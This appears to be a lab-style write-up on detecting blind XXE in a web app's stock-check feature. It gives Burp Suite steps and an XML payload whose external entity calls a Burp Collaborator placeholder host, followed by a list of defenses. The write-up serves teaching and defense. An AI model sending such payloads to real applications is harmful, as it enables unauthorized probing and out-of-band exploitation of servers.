SCENARIO

The application is vulnerable to XXE out of band interaction as it has a "Check stock" feature that parses XML input but does not display the result. We will try to detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain.

**PROCEDURE**

1. Open the web application and visit any product page.
2. Send a Check Stock request and intercept the POST request in BurpSuite’s Proxy tab.
3. Replace the XML body of the request in BurpSuite’s Repeater with the Payload.
4. Now click Poll Now in the BurpSuite’s Collaborator Client and we see that we successfully forced the application to make an out of band interaction.

**PAYLOAD**

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN"> ]>

<stockCheck>

<productId>&xxe;</productId>

<storeId>1</storeId>

</stockCheck>

**REMEDIATION**

1. **Disable External Entity Processing:** One of the most effective countermeasures is to disable the processing of external entities in your XML parser. Depending on the library or framework, this can usually be done with a single setting or configuration change.
2. **Avoid Serializing Sensitive Data:** As a best practice, avoid serializing sensitive data or configuration data in XML format, especially if it will be parsed and processed by other systems.
3. **Patch and Update:** Always ensure that you are using the latest versions of libraries, especially XML processing libraries. Updates often contain security patches for known vulnerabilities.
4. **Input Validation:** Enforce strict input validation, especially for XML data coming from untrusted sources.
5. **Network Restrictions:** For server-side XML parsers, configure them to not have access to the internet. This can prevent most out-of-band XXE attacks.
6. **Disable Unused Features:** Disable XML processing features that are not required, such as document type definitions (DTDs) or inline schemas.
7. **Error Handling:** Don't disclose stack traces or detailed error messages to users. These can provide attackers with valuable information.
8. **Use Simpler Data Formats:** If possible, use simpler data formats like JSON which don't have the capability to define external entities.